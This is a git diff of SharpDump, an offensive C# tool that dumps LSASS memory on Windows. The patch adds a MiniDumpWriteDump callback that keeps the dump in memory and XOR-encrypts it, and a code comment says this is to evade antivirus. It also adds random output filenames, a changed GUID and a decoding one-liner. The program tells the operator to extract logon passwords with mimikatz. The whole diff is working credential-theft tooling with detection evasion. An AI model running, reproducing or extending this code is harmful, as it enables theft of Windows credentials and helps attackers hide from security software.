diff --git a/SharpDump/MiniDump.cs b/SharpDump/MiniDump.cs new file mode 100644 index 0000000..a388859 --- /dev/null +++ b/SharpDump/MiniDump.cs @@ -0,0 +1,177 @@ +using System; +using System.Runtime.InteropServices; + +namespace SharpDump +{ + class MiniDump + { + [StructLayout(LayoutKind.Sequential)] + public struct MINIDUMP_IO_CALLBACK + { + public IntPtr Handle; + public ulong Offset; + public IntPtr Buffer; + public uint BufferBytes; + } + + [StructLayout(LayoutKind.Explicit)] + public unsafe struct MINIDUMP_CALLBACK_UNION + { + [FieldOffset(0)] + public MINIDUMP_IO_CALLBACK Io; + + [FieldOffset(0)] + public fixed byte Padding[1296]; + } + + [StructLayout(LayoutKind.Explicit)] + public unsafe struct MINIDUMP_CALLBACK_INPUT + { + [FieldOffset(0)] + public uint ProcessId; + + [FieldOffset(4)] + public IntPtr ProcessHandle; + + [FieldOffset(12)] + public MINIDUMP_CALLBACK_TYPE CallbackType; + + [FieldOffset(16)] + public MINIDUMP_CALLBACK_UNION Union; + } + + [StructLayout(LayoutKind.Sequential)] + public struct MINIDUMP_CALLBACK_OUTPUT + { + public HRESULT Status; + } + + [StructLayout(LayoutKind.Sequential)] + public struct MINIDUMP_CALLBACK_INFORMATION + { + public MINIDUMP_CALLBACK_ROUTINE CallbackRoutine; + public IntPtr CallbackParam; + } + + [Flags] + public enum MINIDUMP_TYPE : uint + { + MiniDumpNormal = 0x00000000, + MiniDumpWithDataSegs = 0x00000001, + MiniDumpWithFullMemory = 0x00000002, + MiniDumpWithHandleData = 0x00000004, + MiniDumpFilterMemory = 0x00000008, + MiniDumpScanMemory = 0x00000010, + MiniDumpWithUnloadedModules = 0x00000020, + MiniDumpWithIndirectlyReferencedMemory = 0x00000040, + MiniDumpFilterModulePaths = 0x00000080, + MiniDumpWithProcessThreadData = 0x00000100, + MiniDumpWithPrivateReadWriteMemory = 0x00000200, + MiniDumpWithoutOptionalData = 0x00000400, + MiniDumpWithFullMemoryInfo = 0x00000800, + MiniDumpWithThreadInfo = 0x00001000, + MiniDumpWithCodeSegs = 0x00002000, + MiniDumpWithoutAuxiliaryState = 0x00004000, + MiniDumpWithFullAuxiliaryState = 0x00008000, + MiniDumpWithPrivateWriteCopyMemory = 0x00010000, + MiniDumpIgnoreInaccessibleMemory = 0x00020000, + MiniDumpWithTokenInformation = 0x00040000, + MiniDumpValidTypeFlags = 0x0007ffff + } + + [Flags] + public enum MINIDUMP_CALLBACK_TYPE : uint + { + ModuleCallback = 0, + ThreadCallback = 1, + ThreadExCallback = 2, + IncludeThreadCallback = 3, + IncludeModuleCallback = 4, + MemoryCallback = 5, + CancelCallback = 6, + WriteKernelMinidumpCallback = 7, + KernelMinidumpStatusCallback = 8, + RemoveMemoryCallback = 9, + IncludeVmRegionCallback = 10, + IoStartCallback = 11, + IoWriteAllCallback = 12, + IoFinishCallback = 13, + ReadMemoryFailureCallback = 14, + SecondaryFlagsCallback = 15 + } + + [Flags] + public enum HRESULT : uint + { + S_OK = 0, + S_FALSE = 1 + } + + // partially adapted from https://blogs.msdn.microsoft.com/dondu/2010/10/24/writing-minidumps-in-c/ + [DllImport( + "dbghelp.dll", + EntryPoint = "MiniDumpWriteDump", + CallingConvention = CallingConvention.StdCall, + CharSet = CharSet.Unicode, + ExactSpelling = true, + SetLastError = true)] + public static extern bool MiniDumpWriteDump( + IntPtr hProcess, + uint ProcessId, + IntPtr hFile, + MINIDUMP_TYPE DumpType, + IntPtr ExceptionParam, + IntPtr UserStreamParam, + MINIDUMP_CALLBACK_INFORMATION CallbackParam); + + [UnmanagedFunctionPointer(CallingConvention.StdCall)] + public unsafe delegate bool MINIDUMP_CALLBACK_ROUTINE( + IntPtr CallbackParam, + MINIDUMP_CALLBACK_INPUT* CallbackInput, + MINIDUMP_CALLBACK_OUTPUT* CallbackOutput); + + public unsafe static bool Callback( + IntPtr CallbackParam, + MINIDUMP_CALLBACK_INPUT* CallbackInput, + MINIDUMP_CALLBACK_OUTPUT* CallbackOutput) + { + switch (CallbackInput->CallbackType) + { + case MINIDUMP_CALLBACK_TYPE.IoStartCallback: + CallbackOutput->Status = HRESULT.S_FALSE; + break; + + case MINIDUMP_CALLBACK_TYPE.IoWriteAllCallback: + CallbackOutput->Status = HRESULT.S_OK; + + uint len = CallbackInput->Union.Io.BufferBytes; + IntPtr destination = Marshal.AllocHGlobal((int)len); + + // copy the current chunk + Buffer.MemoryCopy((byte*)CallbackInput->Union.Io.Buffer, (byte*)destination, len, len); + + /* + * We can do an extra transformation at this stage, like XOR-encrypt + * the MiniDump before compressing it and writing it to disk. + * This can be useful if gzip compression alone turns out to be + * useless against AV. + * + * Example: + */ + for (int i = 0; i < len; i++) + ((byte*)destination)[i] ^= 42; + + Globals.Chunks.Add((destination, (int)len, (int)CallbackInput->Union.Io.Offset)); + break; + + case MINIDUMP_CALLBACK_TYPE.IoFinishCallback: + CallbackOutput->Status = HRESULT.S_OK; + break; + + default: + break; + } + return true; + } + } +} diff --git a/SharpDump/Program.cs b/SharpDump/Program.cs index fd6968f..b305db1 100755 --- a/SharpDump/Program.cs +++ b/SharpDump/Program.cs @@ -1,19 +1,34 @@ using System; +using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.IO.Compression; +using System.Linq; using System.Runtime.InteropServices; using System.Security.Principal; +using System.Text; namespace SharpDump { + public static class Globals + { + public static List<(IntPtr ptr, int len, int offset)> Chunks = new List<(IntPtr, int, int)>(); + } + class Program { - // partially adapted from https://blogs.msdn.microsoft.com/dondu/2010/10/24/writing-minidumps-in-c/ + private static readonly char[] chars = "abcdefghijklmnopqrstuvwxyz".ToCharArray(); + private static readonly Random random = new Random(); - // Overload supporting MiniDumpExceptionInformation == NULL - [DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode, ExactSpelling = true, SetLastError = true)] - static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr userStreamParam, IntPtr callbackParam); + public static string GetRandomString(int length = 7) + { + var sb = new StringBuilder(length); + for (int i = 0; i < length; i++) + { + sb.Append(chars[random.Next(chars.Length)]); + } + return sb.ToString(); + } public static bool IsHighIntegrity() { @@ -23,7 +38,7 @@ public static bool IsHighIntegrity() return principal.IsInRole(WindowsBuiltInRole.Administrator); } - public static void Compress(string inFile, string outFile) + public static void WriteCompressedDumpToFile(string outFile) { try { @@ -33,14 +48,29 @@ public static void Compress(string inFile, string outFile) File.Delete(outFile); } - var bytes = File.ReadAllBytes(inFile); - using (FileStream fs = new FileStream(outFile, FileMode.CreateNew)) + var lastChunk = Globals.Chunks.OrderByDescending(chunk => chunk.offset).FirstOrDefault(); + byte[] dump = new byte[lastChunk.offset + lastChunk.len]; + + unsafe { - using (GZipStream zipStream = new GZipStream(fs, CompressionMode.Compress, false)) + fixed (byte* pin = &dump[0]) { - zipStream.Write(bytes, 0, bytes.Length); + foreach (var chunk in Globals.Chunks) + { + byte* destination = pin + chunk.offset; + Buffer.MemoryCopy( + (byte*)chunk.ptr, + destination, + dump.Length - chunk.offset, + chunk.len); + Marshal.FreeHGlobal(chunk.ptr); + } } } + + using (FileStream fs = new FileStream(outFile, FileMode.CreateNew)) + using (GZipStream gzipStream = new GZipStream(fs, CompressionMode.Compress, false)) + gzipStream.Write(dump, 0, dump.Length); } catch (Exception ex) { @@ -68,14 +98,14 @@ public static void Minidump(int pid = -1) catch (Exception ex) { // often errors if we can't get a handle to LSASS - Console.WriteLine(String.Format("\n[X]Exception: {0}\n", ex.Message)); + Console.WriteLine("[X]Exception: {0}", ex.Message); return; } } if (targetProcess.ProcessName == "lsass" && !IsHighIntegrity()) { - Console.WriteLine("\n[X] Not in high integrity, unable to MiniDump!\n"); + Console.WriteLine("[X] Not in high integrity, unable to MiniDump!"); return; } @@ -86,57 +116,76 @@ public static void Minidump(int pid = -1) } catch (Exception ex) { - Console.WriteLine(String.Format("\n[X] Error getting handle to {0} ({1}): {2}\n", targetProcess.ProcessName, targetProcess.Id, ex.Message)); + Console.WriteLine("[X] Error getting handle to {0} ({1}): {2}", targetProcess.ProcessName, targetProcess.Id, ex.Message); return; } bool bRet = false; string systemRoot = Environment.GetEnvironmentVariable("SystemRoot"); - string dumpFile = String.Format("{0}\\Temp\\debug{1}.out", systemRoot, targetProcessId); - string zipFile = String.Format("{0}\\Temp\\debug{1}.bin", systemRoot, targetProcessId); - - Console.WriteLine(String.Format("\n[*] Dumping {0} ({1}) to {2}", targetProcess.ProcessName, targetProcess.Id, dumpFile)); + string gzipFile = String.Format("{0}\\Temp\\{1}.gz", systemRoot, GetRandomString()); - using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite, FileShare.Write)) + Console.WriteLine(); + Console.WriteLine("[*] Dumping {0} ({1}) to {2}", targetProcess.ProcessName, targetProcess.Id, gzipFile); + unsafe { - bRet = MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero); + var mci = new MiniDump.MINIDUMP_CALLBACK_INFORMATION + { + CallbackRoutine = new MiniDump.MINIDUMP_CALLBACK_ROUTINE(MiniDump.Callback), + CallbackParam = IntPtr.Zero + }; + + bRet = MiniDump.MiniDumpWriteDump( + targetProcessHandle, + targetProcessId, + IntPtr.Zero, + MiniDump.MINIDUMP_TYPE.MiniDumpWithFullMemory, + IntPtr.Zero, + IntPtr.Zero, + mci); } - // if successful - if(bRet) + // if not successful + if (!bRet) { - Console.WriteLine("[+] Dump successful!"); - Console.WriteLine(String.Format("\n[*] Compressing {0} to {1} gzip file", dumpFile, zipFile)); + Console.WriteLine("[X] Dump failed: {0} {1}", bRet, Marshal.GetLastWin32Error()); + return; + } - Compress(dumpFile, zipFile); + Console.WriteLine("[+] Dump successful!"); + Console.WriteLine("[*] Writing the gzip-compressed dump to {0}", gzipFile); - Console.WriteLine(String.Format("[*] Deleting {0}", dumpFile)); - File.Delete(dumpFile); - Console.WriteLine("\n[+] Dumping completed. Rename file to \"debug{0}.gz\" to decompress.", targetProcessId); + WriteCompressedDumpToFile(gzipFile); - string arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); - string OS = ""; - var regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion"); - if (regKey != null) - { - OS = String.Format("{0}", regKey.GetValue("ProductName")); - } + Console.WriteLine(); + Console.WriteLine("[+] Dumping completed. gzip-decompress the file and XOR its contents with 42.", targetProcessId); + Console.WriteLine("[!] You can use the following Python one-liner:"); + Console.WriteLine(); + Console.WriteLine(@"open('out.dmp','wb').write(bytearray([i^42 for i in __import__('gzip').decompress(open(r'{0}','rb').read())]))", gzipFile); - if (pid == -1) - { - Console.WriteLine(String.Format("\n[*] Operating System : {0}", OS)); - Console.WriteLine(String.Format("[*] Architecture : {0}", arch)); - Console.WriteLine(String.Format("[*] Use \"sekurlsa::minidump debug.out\" \"sekurlsa::logonPasswords full\" on the same OS/arch\n", arch)); - } + string arch = System.Environment.GetEnvironmentVariable("PROCESSOR_ARCHITECTURE"); + string OS = ""; + var regKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows NT\\CurrentVersion"); + if (regKey != null) + { + OS = String.Format("{0}", regKey.GetValue("ProductName")); } - else + + if (pid == -1) { - Console.WriteLine(String.Format("[X] Dump failed: {0}", bRet)); + Console.WriteLine(); + Console.WriteLine("[*] Operating System : {0}", OS); + Console.WriteLine("[*] Architecture : {0}", arch); + Console.WriteLine("[*] Use \"sekurlsa::minidump out.dmp\" \"sekurlsa::logonPasswords full\" on the same OS/arch\n", arch); } } static void Main(string[] args) { + if (args.Length > 1) + { + Console.WriteLine("Usage: SharpDump.exe [pid] (If no pid is provided, 'lsass' will be dumped by default.)"); + } + string systemRoot = Environment.GetEnvironmentVariable("SystemRoot"); string dumpDir = String.Format("{0}\\Temp\\", systemRoot); if (!Directory.Exists(dumpDir)) @@ -145,28 +194,16 @@ static void Main(string[] args) return; } - if (args.Length ==0) - { - // dump LSASS by default - Minidump(); - } - else if (args.Length == 1) + int pid = -1; + if ( + args.Length == 0 + || int.TryParse(Convert.ToString(args[0]), System.Globalization.NumberStyles.Any, System.Globalization.NumberFormatInfo.InvariantInfo, out pid)) { - int retNum; - if (int.TryParse(Convert.ToString(args[0]), System.Globalization.NumberStyles.Any, System.Globalization.NumberFormatInfo.InvariantInfo, out retNum)) - { - // arg is a number, so we're specifying a PID - Minidump(retNum); - } - else - { - Console.WriteLine("\nPlease use \"SharpDump.exe [pid]\" format\n"); - } - } - else if (args.Length == 2) - { - Console.WriteLine("\nPlease use \"SharpDump.exe [pid]\" format\n"); + Minidump(pid); + return; } + + Console.WriteLine("Please make sure the PID is valid."); } } } diff --git a/SharpDump/Properties/AssemblyInfo.cs b/SharpDump/Properties/AssemblyInfo.cs index 9d74115..1107e6a 100755 --- a/SharpDump/Properties/AssemblyInfo.cs +++ b/SharpDump/Properties/AssemblyInfo.cs @@ -20,7 +20,7 @@ [assembly: ComVisible(false)] // The following GUID is for the ID of the typelib if this project is exposed to COM -[assembly: Guid("79c9bba3-a0ea-431c-866c-77004802d8a0")] +[assembly: Guid("6f29aa2c-1ee0-4b96-8987-be0fbc045e74")] // Version information for an assembly consists of the following four values: // diff --git a/SharpDump/SharpDump.csproj b/SharpDump/SharpDump.csproj index d0bff43..bb4090a 100755 --- a/SharpDump/SharpDump.csproj +++ b/SharpDump/SharpDump.csproj @@ -9,8 +9,9 @@ Properties SharpDump SharpDump - v3.5 + v4.8 512 + AnyCPU @@ -21,6 +22,8 @@ DEBUG;TRACE prompt 4 + true + false AnyCPU @@ -31,6 +34,8 @@ prompt 4 + true + false @@ -41,10 +46,12 @@ + + Designer diff --git a/SharpDump/app.config b/SharpDump/app.config new file mode 100644 index 0000000..3e0e37c --- /dev/null +++ b/SharpDump/app.config @@ -0,0 +1,3 @@ + + +